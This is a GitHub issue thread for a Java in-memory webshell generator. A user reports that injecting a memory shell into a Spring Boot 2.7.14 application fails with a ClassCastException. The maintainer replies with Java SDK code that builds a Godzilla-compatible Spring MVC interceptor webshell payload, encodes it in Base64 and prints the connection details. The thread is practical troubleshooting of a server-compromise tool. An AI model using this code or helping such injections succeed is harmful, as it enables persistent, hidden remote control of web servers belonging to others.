pen4uin / java-memshell-generator

一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.
1.65k stars 186 forks source link

Spring Boot注入内存马失败 #28

Open Und3r1ine opened 2 months ago

Und3r1ine commented 2 months ago

spring boot的版本

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.14</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

spring boot中tomcat的版本是:tomcat-embed-core-9.0.78.jar

控制台报错信息是:

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.ClassCastException: org.apache.logging.h.JSONUtil cannot be cast to org.springframework.web.servlet.HandlerInterceptor

org.apache.logging.h.JSONUtil是生成的注入器类名

pen4uin commented 2 months ago

这个报错应该不影响连接吧?我这边使用以下配置没问题,你再确认下?

import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.sdk.jMGenerator;
import jmg.sdk.util.SDKResultUtil;

public class SDKTest {
    public static void main(String[] args) throws Throwable {
        // 必需的基础配置
        AbstractConfig config = new AbstractConfig() {{
            // 设置工具类型
            setToolType(Constants.TOOL_GODZILLA);
            // 设置中间件 or 框架
            setServerType(Constants.SERVER_SPRING_MVC);
            // 设置内存马类型
            setShellType(Constants.SHELL_INTERCEPTOR);
            // 设置输出格式为 BASE64
            setOutputFormat(Constants.FORMAT_BASE64);
            // 设置漏洞利用封装,默认不启用
            setGadgetType(Constants.GADGET_NONE);
            // 初始化基础配置
            build();
        }};

        // 生成 payload
        jMGenerator generator = new jMGenerator(config);
        generator.genPayload();
        generator.printPayload();

        // 打印连接信息
        SDKResultUtil.printBasicInfo(config);
        SDKResultUtil.printDebugInfo(config);
    }
}
image